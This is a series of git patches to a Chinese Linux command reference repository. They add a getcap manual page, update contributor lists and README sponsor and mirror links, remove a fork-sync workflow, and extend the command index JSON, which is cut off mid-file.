数据来源于 GitHub Contributors，使用action-contributors创建。 From 6f32e1e9ee44886a06198fda0ac5f44445bb9c66 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Sun, 27 Apr 2025 17:18:20 +0800 Subject: [PATCH 0999/1019] feat: add getcap. fix #644 --- command/getcap.md | 49 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 command/getcap.md diff --git a/command/getcap.md b/command/getcap.md new file mode 100644 index 00000000000..1f57f464b57 --- /dev/null +++ b/command/getcap.md @@ -0,0 +1,49 @@ +getcap +=== + +显示文件的能力（capabilities） + +## 补充说明 + +**getcap命令** 用于查看文件的能力（capabilities）。在 Linux 中，文件的能力是一种权限控制机制，可以赋予普通文件特定的特权操作，而无需完全的 root 权限。 + +### 语法 + +```shell +getcap [选项] [文件名...] +``` + +### 选项 + +```shell +-v # 显示详细信息，通常与其他选项一起使用。 +-p # 显示进程的能力。 +``` + +### 参数 + +文件名：指定要查看能力的文件路径。 + +### 实例 + +查看一个可执行文件的能力： + +```shell +$ getcap /usr/bin/ping +/usr/bin/ping = cap_net_raw+ep +``` + +查看当前目录下所有文件的能力： + +```shell +$ getcap * +/usr/bin/ping = cap_net_raw+ep +``` + +如果文件没有设置任何能力，getcap 不会返回任何输出。 + +查看进程的能力（以 PID 为例）： + +```shell +$ getcap -p 1234 +``` \ No newline at end of file From 7fb73de0106266a8c64a8b9499791641a0e1c919 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 27 Apr 2025 09:19:08 +0000 Subject: [PATCH 1000/1019] doc: update README.md. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 3af46b03dee..932a97c0417 100644 --- a/README.md +++ b/README.md @@ -357,11 +357,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans zyimm -0x_000 dayday Deny dongpohezui ecjtusbs +focksor gang.yang gedune geekeryy @@ -407,6 +407,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +0x_000 Nexchard Karl Horky LaudOak From 3bf5e616dc0119b8ec1ddc57ce207b7331d582a4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 27 Apr 2025 09:19:10 +0000 Subject: [PATCH 1001/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a17485db3d2..2b4e642496a 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -67,11 +67,11 @@ noodles2hg nsnans zyimm -0x_000 dayday Deny dongpohezui ecjtusbs +focksor gang.yang gedune geekeryy @@ -117,6 +117,7 @@ zodiac zoomdong zuixin369 +0x_000 Nexchard Karl Horky LaudOak From fbf2cdd86d1f0e624fb85a32c77adbec2939993d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Sun, 27 Apr 2025 17:23:47 +0800 Subject: [PATCH 1002/1019] ci: remove .github/workflows/sync.yml #554 --- .github/workflows/sync.yml | 40 -------------------------------------- 1 file changed, 40 deletions(-) delete mode 100644 .github/workflows/sync.yml diff --git a/.github/workflows/sync.yml b/.github/workflows/sync.yml deleted file mode 100644 index df5a9fa39eb..00000000000 --- a/.github/workflows/sync.yml +++ /dev/null @@ -1,40 +0,0 @@ -name: Upstream Sync - -permissions: - contents: write - -on: - schedule: - - cron: "0 0 * * *" # every day - workflow_dispatch: - -jobs: - sync_latest_from_upstream: - name: Sync latest commits from upstream repo - runs-on: ubuntu-latest - if: ${{ github.event.repository.fork }} - - steps: - # Step 1: run a standard checkout action - - name: Checkout target repo - uses: actions/checkout@v4 - - # Step 2: run the sync action - - name: Sync upstream changes - id: sync - uses: aormsby/Fork-Sync-With-Upstream-action@v3.4 - with: - upstream_sync_repo: jaywcjlove/linux-command - upstream_sync_branch: master - target_sync_branch: master - target_repo_token: ${{ secrets.GITHUB_TOKEN }} # automatically generated, no need to set - - # Set test_mode true to run tests instead of the true action!! - test_mode: false - - - name: Sync check - if: failure() - run: | - echo "[Error] 由于上游仓库的 workflow 文件变更，导致 GitHub 自动暂停了本次自动更新，你需要手动 Sync Fork 一次。" - echo "[Error] Due to a change in the workflow file of the upstream repository, GitHub has automatically suspended the scheduled automatic update. You need to manually sync your fork." - exit 1 From 81f8eef8bfcc0e431e52fd6597b9f581bd240810 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Mon, 12 May 2025 18:36:38 +0800 Subject: [PATCH 1003/1019] doc: update README.md --- README.md | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/README.md b/README.md index 932a97c0417..44d59e327b7 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,36 @@ 当前仓库搜集了 600 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 +## 赞助支持 + +非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表： + +

+ Musicer + Audioer + FileSentinel + FocusCursor + Videoer + KeyClicker + DayBar + Iconed + RightMenu Master + Paste Quick + Quick RSS + Web Serve + Copybook Generator + DevTutor for SwiftUI + RegexMate + Time Passage + Iconize Folder + Textsound Saver + Create Custom Symbols + DevHub + Resume Revise + Palette Genius + Symbol Scribe +

+ ## Web 版本 [Github Web](http://jaywcjlove.github.io/linux-command/) | [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) | [Githack](https://raw.githack.com/jaywcjlove/linux-command/gh-pages/index.html) | [Statically](https://cdn.statically.io/gh/jaywcjlove/linux-command/gh-pages/index.html) From e8a04497f65e328a8b7fee8b496a99f35d73d18a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Mon, 12 May 2025 18:37:21 +0800 Subject: [PATCH 1004/1019] doc: update README.md --- README.md | 46 +++++++++++++++++++++++----------------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index 44d59e327b7..4570c99799f 100644 --- a/README.md +++ b/README.md @@ -20,29 +20,29 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

- Musicer - Audioer - FileSentinel - FocusCursor - Videoer - KeyClicker - DayBar - Iconed - RightMenu Master - Paste Quick - Quick RSS - Web Serve - Copybook Generator - DevTutor for SwiftUI - RegexMate - Time Passage - Iconize Folder - Textsound Saver - Create Custom Symbols - DevHub - Resume Revise - Palette Genius - Symbol Scribe + Musicer + Audioer + FileSentinel + FocusCursor + Videoer + KeyClicker + DayBar + Iconed + RightMenu Master + Quick RSS + Quick RSS + Web Serve + Copybook Generator + DevTutor for SwiftUI + RegexMate + Time Passage + Iconize Folder + Textsound Saver + Create Custom Symbols + DevHub + Resume Revise + Palette Genius + Symbol Scribe

## Web 版本 From 35bfec9b1a00385ae0a3a6fec0db4e7d8234d31a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Tue, 13 May 2025 01:22:41 +0800 Subject: [PATCH 1005/1019] ci: update workflows config. --- .github/workflows/ci.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 7091845dbb4..c8dcecc907c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -28,6 +28,7 @@ jobs: uses: jaywcjlove/github-action-modify-file-content@main with: path: README.md + trim_whitespace: false openDelimiter: '' closeDelimiter: '' body: | @@ -37,6 +38,7 @@ jobs: uses: jaywcjlove/github-action-modify-file-content@main with: path: template/contributors.ejs + trim_whitespace: false openDelimiter: '' closeDelimiter: '' body: | From 02dbba48985bf6a4a0b6b4b89ffea78c127c9dfd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 12 May 2025 17:23:20 +0000 Subject: [PATCH 1006/1019] doc: update README.md. --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 4570c99799f..d47a2a8ec75 100644 --- a/README.md +++ b/README.md @@ -323,7 +323,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 一如既往，感谢我们出色的贡献者！ -小弟调调 + +小弟调调 ZhuangZhu-74 Mend Renovate Huck Huang @@ -501,7 +502,10 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Na Meng Wingrez XBG -Xiaodong DENG +Xiaodong DENG + + + 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From bcea27fe4059ecdb78e8e43f2100572bfe9f7a9f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 12 May 2025 17:23:21 +0000 Subject: [PATCH 1007/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 2b4e642496a..81cce14e78f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -3,7 +3,8 @@

贡献者列表

- 小弟调调 + +小弟调调 ZhuangZhu-74 Mend Renovate Huck Huang @@ -181,7 +182,10 @@ Na Meng Wingrez XBG -Xiaodong DENG +Xiaodong DENG + + +

数据来源于 GitHub Contributors，使用action-contributors创建。 From b86b82ed615beb92b14a635fc5e0848fa72cffd9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 4 Jun 2025 19:04:33 +0800 Subject: [PATCH 1008/1019] doc: Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index d47a2a8ec75..eccb6b37e1b 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

+ Mousio Musicer Audioer FileSentinel From 6197d862da03dcefcd4776977d8d74ff4f3bbf14 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Fri, 13 Jun 2025 08:53:46 +0800 Subject: [PATCH 1009/1019] doc: Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index eccb6b37e1b..2f19376201c 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

+ Mousio Hint Mousio Musicer Audioer From 22f1caf16d8b2f65569271ec4e28c5783eebccb6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Fri, 13 Jun 2025 09:20:59 +0800 Subject: [PATCH 1010/1019] website: update contributors. --- README.md | 4 ++-- dist/data.json | 22 +++++++++++++++++++++- dist/data.min.json | 2 +- template/contributors.ejs | 34 +++++++++++++++++++++++++++++++++- template/styl/index.styl | 11 +++++++++++ template/widget/footer.ejs | 3 +++ 6 files changed, 71 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 2f19376201c..cd890c74514 100644 --- a/README.md +++ b/README.md @@ -67,11 +67,11 @@ **推荐使用的镜像 web 版本** -[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/), [`linux.jiangyang.online`](https://linux.jiangyang.online/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[`renye.net`](https://renye.net/)，[`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/)，[`linux.jiangyang.online`](https://linux.jiangyang.online/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/), [`51tools.info`](https://51tools.info/linux/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/)，[`51tools.info`](https://51tools.info/linux/) ## 其它版本 diff --git a/dist/data.json b/dist/data.json index 75eae0c05a3..ace6fad37f7 100644 --- a/dist/data.json +++ b/dist/data.json @@ -869,6 +869,11 @@ "p": "/get_module", "d": "获取Linux内核模块的详细信息" }, + "getcap": { + "n": "getcap", + "p": "/getcap", + "d": "显示文件的能力（capabilities）" + }, "getenforce": { "n": "getenforce", "p": "/getenforce", @@ -879,6 +884,11 @@ "p": "/getent", "d": "查询 DNS 名称服务器中的命名空间" }, + "getfacl": { + "n": "getfacl", + "p": "/getfacl", + "d": "获取文件访问控制列表(access control lists)" + }, "getsebool": { "n": "getsebool", "p": "/getsebool", @@ -1132,7 +1142,7 @@ "iostat": { "n": "iostat", "p": "/iostat", - "d": "iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。" + "d": "监视系统输入输出设备和CPU的使用情况" }, "iotop": { "n": "iotop", @@ -1779,6 +1789,11 @@ "p": "/nslookup", "d": "查询域名DNS信息的工具" }, + "nstat": { + "n": "nstat", + "p": "/nstat", + "d": "nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。" + }, "ntpdate": { "n": "ntpdate", "p": "/ntpdate", @@ -2689,6 +2704,11 @@ "p": "/type", "d": "显示指定命令的类型。" }, + "ufw": { + "n": "ufw", + "p": "/ufw", + "d": " ubuntu防火墙管理工具" + }, "ulimit": { "n": "ulimit", "p": "/ulimit", diff --git a/dist/data.min.json b/dist/data.min.json index cb420adfeff..c184790cee2 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"column":{"n":"column","p":"/column","d":"按列格式化输出文件"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"createrepo":{"n":"createrepo","p":"/createrepo","d":"创建YUM仓库"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"docker":{"n":"docker","p":"/docker","d":"容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":